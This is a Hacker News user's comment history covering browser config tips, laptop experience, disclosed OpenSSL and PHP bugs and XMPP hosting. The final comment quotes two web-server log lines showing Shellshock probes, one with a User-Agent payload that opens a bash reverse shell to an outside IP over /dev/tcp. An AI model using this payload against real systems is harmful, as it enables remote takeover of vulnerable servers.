geeknik's comments

On: Ask HN: Firefox vs. Chrome security

[geeknik]

For the adventurous:

1) open about:config 2) set gfx.webrender.enabled to true 3) restart Nightly

For the even more adventurous:

1) open about:config 2) set gfx.webrender.enabled to true 3) set gfx.webrendest.enabled to true 4) restart Nightly

On: Experiences with the Thinkpad 13?

[geeknik]

I have a couple of the T420s and with the exception of having to replace the CPU fans in both of them, I have no complaints.

On: Ask HN: Looking to purchase a software-defined rad...

[geeknik]

SDRPlay http://www.hamradio.com/detail.cfm?pid=H0-014408

On: Theo de Raadt on OpenSSL vulnerabilities coming on...

[geeknik]

I found an OpenSSL bug that was assigned CVE-2015-0208 and it is still embargoed near as I can tell.

On: What happened to all the non-programmers?

[geeknik]

I'm a sys admin and security researcher and I'm not a programmer by any stretch of the word. Nor do I have a CS related college degree. I'm an anomaly in the tech world. ;)

On: Firefox Developer Edition 38: 64-bits and more

[geeknik]

Been using 64 bit Nightly builds (from Mozilla) for years. Not sure why this is news.

[dblohm7 → geeknik]

Win64 builds have not been available in channels beyond Nightly until now. That's why it is news.

On: There’s already a conspiracy theory brewing over n...

[geeknik]

We really don't need more government regulation. I've got a bad feeling about this crap.

[abrown28 → geeknik]

I'm sure it will turn out just as well as every other top down forced solution to a non-existent problem

On: Ask HN: What have you achieved in January 2015?

[geeknik]

I found an OpenSSL bug which was assigned CVE-2015-0208 (details forthcoming). I feel like that is a good achievement. Follows on the heels of the PHP5 bug I found in December(CVE-2014-9427).

On: Ask HN: XMPP/Jabber self hosting

[geeknik]

I'm using Prosody. Supports TLS1.2 and Forward Secrecy.

Check your score on xmpp.net if you haven't already. ;)

On: Everything you need to know about the Shellshock B...

[geeknik]

I've only seen 2 requests in my logs:

access.log:89.207.135.125 - - [25/Sep/2014:06:28:08 +0000] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 404 447 "-" "() { :;}; /bin/ping -c 1 198.101.206.138"

access.log:202.38.120.248 - - [26/Sep/2014:13:38:10 +0000] "GET / HTTP/1.0" 200 473 "-" "() { :;}; /bin/bash -c '/bin/bash -i >& /dev/tcp/195.225.34.101/3333 0>&1'"